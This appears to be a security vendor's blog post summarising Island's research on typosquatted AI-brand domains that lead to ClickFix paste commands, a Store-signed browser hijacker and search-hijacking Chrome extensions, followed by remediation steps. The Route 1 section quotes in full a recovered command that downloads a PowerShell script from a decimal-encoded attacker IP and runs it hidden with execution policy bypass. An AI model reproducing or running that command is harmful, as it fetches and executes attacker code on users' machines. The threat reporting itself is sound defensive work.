TypoPrompting: 186 AI Typosquat Domains, ClickFix, Net Guard, and Search Hijacks

A single mistyped letter in the address bar can send a developer to malware before the first coding-agent prompt. On November 12, 2026, Island security researcher Oleg Zaytsev published TypoPrompting: From AI Typos to Malware, tracing 186 lookalike domains across 27 AI brands—including Claude, ChatGPT, Cursor, Copilot, Gemini, Grok, DeepSeek, Perplexity, Lovable, and ElevenLabs—into three repeatable delivery routes: ClickFix-style paste commands, fake security checks that install Store-signed Net Guard, and permissionless search-hijacking Chrome extensions. The report names the pattern TypoPrompting: AI-app lookalikes that turn “I meant to open my assistant” into “verify, install, or run something else.”

If you install agents from memory, click saved history, or let teammates guess URLs, you share the same failure mode as InstallFix search-ad clones and the Huntress ClickFix chains that still depend on pasted shell. Island adds scale (186 domains, registrations back to July 2023 on several Claude typos) and shows Cursor-class tools in the same portfolio as chat assistants.

TL;DR

Why Island calls it TypoPrompting

Island opens with ordinary work: an engineer opens Cursor to fix a diff, a PM opens ChatGPT for a draft, a marketer reaches ElevenLabs for audio. One key lands wrong; the browser still loads a page—and that page belongs to someone else.

The mistake classes are mundane:

• Adjacent-key substitution (clsude[.]ai — S instead of A)
• Transposition (cluade[.]ai)
• Omission (caude[.]ai)

None of those hostnames belong to Anthropic. The same slip patterns repeat across brands: chstgpt[.]com, deeepseek[.]com, runawayml[.]com, lovabe[.]dev, giemini[.]com, griok[.]com, notbooklm[.]com, and company-name typos such as opnai[.]com and anthropiv[.]com.

What happens next is profiling, not static parking. A traffic distribution system (TDS) picks a destination from country, OS, and browser. Island ties this plumbing to Infoblox’s December 16, 2025 research on direct-search / zero-click parking, where monetized parked domains fingerprint visitors and redirect residential IPs into malicious chains while scanners and VPNs often see benign pages.

Island’s November 3, 2026 snapshot connected cloude[.]ai to the Windows ClickFix command and eight AI typos to the installer funnel, for 186 lookalikes across 27 brands in the inventory.

Route 1: Claude typo to ClickFix command

Island walked a Windows scan of cloude[.]ai end to end:

1. Parked page → xml.securetrackingnode[.]com/click
2. TDS hop → biomimicrydevtech[.]buzz with subid=cloude.ai, country, OS, browser; flow_id=81 for Windows
3. Fingerprint gate on blockchainfuturedev[.]buzz — FingerprintJS, MD5 proof-of-work, public IP lookup
4. Obfuscated response — Base64, XOR with per-visit token, reverse, eval → localized fake “Verify you are human” pages
5. Clipboard command on click — visitor is told to open Run, paste, press Enter

Image: Island

Island recovered this command:

cmd /c curl.exe -fsL --ssl-no-revoke --retry 8 --retry-connrefused --retry-delay 1 --connect-timeout 20 -o "%TEMP%\W901.ps1" 3112851459/985 && powershell -w h -nop -ep bypass -File "%TEMP%\W901.ps1"

The host 3112851459 is 185.138.88[.]3 encoded as a decimal IP, so simple dotted-IP blocklists miss it. PowerShell runs hidden (-w h), no profile (-nop), execution policy bypass (-ep bypass) against %TEMP%\W901.ps1.

Pivoting on the gate script hash, Island found 550 matching scan records across 211 entry domains between April 2025 and November 2026, sharing Windows verification, macOS Terminal-update, and archive-download lures. Entry domains include lookalikes of Scotiabank, Charles Schwab, Blue Cross Blue Shield, Verizon, ServiceNow, and Microsoft Azure—not only AI brands.

Other AI lookalikes delivered payloads directly: chatlgpt[.]com offered Installer_ChatGPT.zip in October–November 2026 (filescan.io malicious; MetaDefender 9/16); historical midj0urney[.]org Windows payloads tied to Aurora stealer in AlienVault OTX; deepsek[.]icu served an Android package K7 Labs attributes to OctoV2.

This intersects Huntress ClickFix tradecraft (fake turnstiles, paste habits) but starts at typos, not malvertising alone.

Route 2: Fake security check and Store-signed Net Guard

Eight typos of Claude, DeepSeek, Copilot, ElevenLabs, and Voice AI—including ckaude[.]ai, deepceek[.]com, copiot[.]com, elevenlebs[.]io, vocie[.]ai—routed through deezyj[.]com to “Security Check” landers tracked via a dkw source-typo parameter.

The funnel delivers Net Guard, marketed as a Wi-Fi and DNS safety scanner. Island states the MSIX hash matches the Microsoft Store listing published by “Myflixly App” with Microsoft Marketplace signature. Visitors receive the real Store package with a browser-control engine inside.

Image: Island

Island analyzed Net Guard 1.0.9.0, Privacy Keeper 1.0.10.0, and MyFlixly Browser 1.0.10.0. Shared buntai-sdk code enables, by default in the analyzed build:

• Default search engine changes while the user is idle via UI Automation and synthetic input in Chrome (Firefox flow matched)
• Runtime.evaluate through DevTools for attacker-supplied JavaScript
• Browser profile and extension manipulation via profile files, PowerShell, and registry

Welcome screens count down 30 seconds and submit browser synchronization as enabled without describing those changes. The app requests startup with full trust and checks for debugger and enterprise browser management.

Island classifies each analyzed package as malicious browser hijacking. The AI typos are a slice of 191 related lander domains, ~45 product names, and 1,437 source domains spanning banks, insurers, and telecoms.

For developers: a Store signature proves publisher identity, not intent. After compromise, token stealers aimed at Claude Code and Codex still matter because hijacked browsers and profiles touch the same OAuth and API-key surfaces agents use.

Route 3: Search hijacking without extension permissions

The Perplexity typo preplexity[.]ai led through a related-search page to quickflashtool[.]com, an installation funnel for a Chrome Web Store extension that replaces the default search engine.

Island’s analyzed extension:

• Promises Bing search in marketing copy
• Sets find.flashysearches[.]com as the default search provider in the manifest alone
• Uses no executable JavaScript and no declared permissions for that override

At work, searches can include internal hostnames, customer names, and project codenames—the same class of leakage Recorded Future tracks across 103 AI incidents involving tools developers already run.

The extension is one of 30 linked by a shared landing kit under separate developer accounts; listings are unlisted, so victims arrive only via installation pages or redirect chains—including typo domains.

As of November 3, 2026, 13 of 30 extensions were removed; 17 live listings declared 972,000 users combined. Island cites Socket’s Searchjacked research (October 29, 2026), which documents 319 extensions and 13.4 million installs in a related search-hijack ecosystem—22 of Island’s 30 appear in Socket’s indicators.

Portfolio timeline Island documents

Island ties monetization to shared publisher keys and affiliate IDs on a11[.]click, with Adsterra smartlinks and Monica/Pollo referrals rotating between March and October 2026. Selected milestones from the primary post:

What this means if you run AI coding agents

Coding agents do not protect the browser tab where you fetched install instructions or the PowerShell window where you pasted “verification.” Concrete steps from Island’s remediation list, adapted for agent teams:

1. Publish managed entry points for Claude Code, Cursor, Codex, Copilot, and internal gateways—bookmarks, launcher tiles, or MDM homepages. Typing claude.ai from muscle memory is exactly how cloude[.]ai wins.
2. Ban paste-from-web for shell. Treat any page that asks for Win+R, Terminal, or “fix DNS” on a typo domain like a ClickFix incident—disconnect and reimage if anyone complied.
3. Validate MSIX provenance. Policy should block web-delivered MSIX unless the package family and hash match an approved list. Net Guard’s Store match is a warning that signing ≠ safety.
4. Audit Chrome extensions weekly. Remove unlisted search helpers, especially those reached from typo pages. Check Settings → Search engine and compare to IT standard.
5. Assume credential rotation after browser hijack. If Net Guard or a search kit ran on a machine that also holds .env, MCP OAuth tokens, or agent config, rotate from a clean device—same playbook as InstallFix.

Island sells an enterprise browser with ClickFix clipboard policies and extension controls. Beam does not replace DNS or browser policy; see limits below.

How Beam handles this (and what it does not)

Island intervenes at browser-to-shell handoffs and installer provenance. Beam’s shipped surface is local agent observability and hook-based denies on supported harnesses (how it watches). Overlap is narrow but real:

• After paste-compromise, if malware or a hijacked profile drives Claude Code or Codex toward credential reads or destructive commands, Beam can record tool proposals and apply PreToolUse deny when cached workspace policy is present—documented as heuristic, not kernel enforcement.
• Skill and MCP config scanning (11 patterns plus version-pin check) still helps catch post-compromise persistence in agent config, not the initial typo navigation.
• Beam Sentinel pauses some risky prompt sends in the browser; it does not block arbitrary navigation to cloude[.]ai or stop manual PowerShell.

Beam cannot stop TypoPrompting at the typosquat, replace EDR, or fail closed when policy cache is missing. Teams need DNS filtering, browser policy, and install discipline first; Beam adds on-device audit where agents run.

Frequently asked questions

The FAQ in front matter mirrors the sections above. Additional nuance:

Does this only target Windows?

No. Island’s 211-domain kit includes macOS Terminal-update and archive-run lures. Windows ClickFix is the path Island detailed for cloude[.]ai.

Is Cursor named as a typosquat brand?

Island lists Cursor among the 27 brands in the 186-domain set and includes Lovable, Copilot, and Manus—tools common in agentic development workflows.

Should I block all parked .ai domains?

Island’s point is narrower: AI-brand lookalikes monetized through TDS profiling. Infoblox documents the parked-domain advertising model at scale; combine vendor threat feeds with internal allowlists for sanctioned AI URLs.

Related reading

• ClickFix PNG steganography and domain controllers (Huntress)
• Fake Claude Code installers and InstallFix
• WardenStealer and Aoki vs Claude Code and Codex tokens
• Recorded Future: 103 AI incidents and coding tools
• November 2026 attacks timeline
• Primary: Island — TypoPrompting (November 12, 2026)
• Infoblox — Parked domains and direct search advertising (December 16, 2025)
• Socket — Searchjacked (October 29, 2026)

Mechanisms, counts, and IOCs reflect Island’s November 12, 2026 publication and cited primary sources as of that date. Defang domains in logs before sharing; operators rotate redirectors quickly.